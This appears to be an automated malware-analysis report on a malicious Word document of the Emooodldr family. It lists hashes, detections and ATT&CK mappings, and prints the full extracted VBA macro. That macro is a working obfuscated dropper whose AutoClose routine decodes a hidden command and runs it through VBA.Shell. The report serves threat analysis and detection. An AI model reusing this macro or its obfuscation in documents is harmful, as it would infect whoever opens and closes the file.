Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 f010103d51638b98…

MALICIOUS

Office (OOXML)

53.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 0bec6bc954b25143f321d42b7dc8ab7a SHA-1: f5ad792f0b7c0e4235c7671c381cbb97bfe81932 SHA-256: f010103d51638b98c985abdab4fe9deaeb850bf924f93b53c9084da8ce927f5b
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros. The AutoClose macro is present and uses the Shell() function indirectly via Application.Run to execute a deobfuscated string. This string, 'D O Q v n b L Z L k Q v v e J t t S W f B f W T L 6 D n O z B f T b 9 6 D t A N t O 6 G b e Q e 1 v D n c n T 9', when deobfuscated by the `reposed` function, results in a command that is likely intended to download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1992 bytes
SHA-256: b52ceae7026d011ab1a64bcf417a05502086afa34827051719b21becf1c89bcc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function reposed(misasperse)
  plowman = Array("n", "b", "L", "J", "e", "1", "E", "v", "T", "k", "S", "B", "9", "f", "Z", "N", "A", "Q", "6", "D", "O", "c", "t", "", "W", "z", "G")
  subjugation = Array("a", ".", "e", ":", "p", "?", "=", "t", "w", " ", "i", "d", "c", "q", "x", "U", "N", "h", "o", "m", "s", "b", "/", "u", "j", "n", "f")
  
  seedier = vbNullString
  
  For Each apiculate In misasperse
    attorn = transudations(apiculate, plowman)
    If attorn > -1 Then
    seedier = subjugation(attorn) + seedier
    End If
  Next
  
  reposed = StrReverse(seedier)
  
End Function

Public Function transudations(ineluctability, delicioso)
  spent = 5981
  condemners = 8041
  For spent = 0 To UBound(delicioso)
    If delicioso(spent) = ineluctability Then
     condemners = spent
    End If
  Next

  If condemners = 8041 Then
    condemners = -1
  End If
  
  transudations = condemners
End Function


Sub AutoClose()
  misasperse = Array("D", "O", "Q", "v", "n", "b", "L", "Z", "L", "k", "Q", "v", "v", "e", "J", "t", "t", "S", "W", "f", "", "B", "f", "W", "T", "L", "6", "D", "n", "O", "z", "B", "f", "T", "b", "9", "6", "D", "t", "A", "N", "t", "O", "6", "G", "b", "e", "Q", "e", "1", "", "v", "D", "n", "E", "c", "n", "T", "9")
  rusma = reposed(misasperse)
  
  Application.Run "pistol", (rusma)
  
End Sub


Private Sub pistol(chiropters)
   
   incisure = 909
   operative = True
   
   While operative
     unopposed = incisure + 611
     If unopposed - incisure > 7 Then
       devotionalist = hause + "ll"
       Call VBA.Shell(chiropters, vbNormalFocus - 1)
       operative = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 9fed52be9730560f82cd833c29ca4e3b9203f8d4a339d7428c76432f2f01a679
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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